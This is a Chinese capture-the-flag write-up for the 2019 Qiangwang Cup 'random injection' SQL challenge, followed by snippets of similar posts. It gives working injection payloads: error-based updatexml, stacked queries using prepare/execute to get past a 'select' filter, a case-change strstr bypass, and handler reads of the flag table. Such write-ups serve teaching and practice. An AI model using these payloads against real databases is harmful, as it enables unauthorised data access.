強網杯 2019 隨便注

2022-08-24 03:27:10 字數 3314 閱讀 2718

首先檢視源**

沒有什麼可以利用的東西

題目所是注入的題,所以使用單引號嘗試是否報錯

因為出現了報錯,所以可以直接嘗試使用報錯注入

1

'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

發現提示下圖,關鍵字被過濾

換乙個報錯注入函式

因為select,where被過濾,所以無法使用報錯注入進行接下來的操作

另外盲注,bool注入也會變得很困難,陷入沉思。。。。。。

檢視我的葵花寶典

發現堆疊查詢注入還沒有祭出

不知道flag在那個資料庫中的,我們可以使用desc來確認

接下來該執行如下語句,但是select關鍵字被過濾

select

*from `1919810931114514`;

這裡開始我就不會做了,於是參考了別人的wp

這裡需要繞過select的限制,我們可以使用預編譯的方式

set用於設定變數名和值

prepare用於預備乙個語句,並賦予名稱,以後可以引用該語句

execute執行語句

deallocate prepare用來釋放掉預處理的語句

payload:

-1'

;set @sql = concat(

'se'

,'lect *

from `1919810931114514`;'

);prepare stmt from @sql;execute stmt;#

格式化一下

-1'

;set @sql = concat(

'se'

,'lect *

from `1919810931114514`;'

);prepare stmt from @sql;

execute stmt;

#

語句執行後,發現被strstr函式過濾set和prepare關鍵字,可以嘗試使用雙寫繞過,或者大小寫繞過

strstr($inject, "set") && strstr($inject, "prepare")
strstr這個函式並不能區分大小寫,我們將其大寫即可

payload:

-1'

;set @sql = concat(

'se'

,'lect *

from `1919810931114514`;'

);prepare stmt from @sql;execute stmt;#

拆分開來如下:-1'

;set

@sql

= concat('

se','

lect * from `1919810931114514`;');

prepare stmt from

@sql

;execute

stmt;

#

另外還可以使用handler,代替select關鍵字

hanlder語法

handler tbl_name open

[[as

]alias]

handler tbl_name

read index_name (value1,value2,...)

[where where_condition ][

limit ...

]handler tbl_name

read index_name

[where where_condition ][

limit ...

]handler tbl_name

read

[where where_condition ][

limit ...

]handler tbl_name

close

handler `1919810931114514` open

;handler `

1919810931114514` read first;

payload:

1

';handler `1919810931114514` open;handler `1919810931114514` read first;--+

強網杯 2019 隨便注

1 or 1 1 回顯了所有使用者資訊 union select 1,2 得到回顯 return preg match select update delete drop insert where i inject 過濾了 select update delete drop insert where...

強網杯 2019 隨便注

知識點 原理參考堆疊注入詳解 開啟題目,如圖所示 嘗試 1 union select 1,2 發現select被禁 嘗試堆疊注入 查庫 查表 查1919810931114514表的列名 1 show columns from 1919810931114514 這裡表名使用反引號進行包含 應該就是從1...

強網杯 2019 隨便注

題目 開啟後如下,比較典型的一道sql注入題目 輸入1 發現會返回一些資料,所以可以嘗試一下堆疊注入。堆疊注入 試一下,查詢資料庫 1 show databases 發現可以將資料庫都顯示出來,說明可行 再試試查詢表,回顯兩個表 1 show tables 查詢所有表 然後繼續訪問表中的列 1 sh...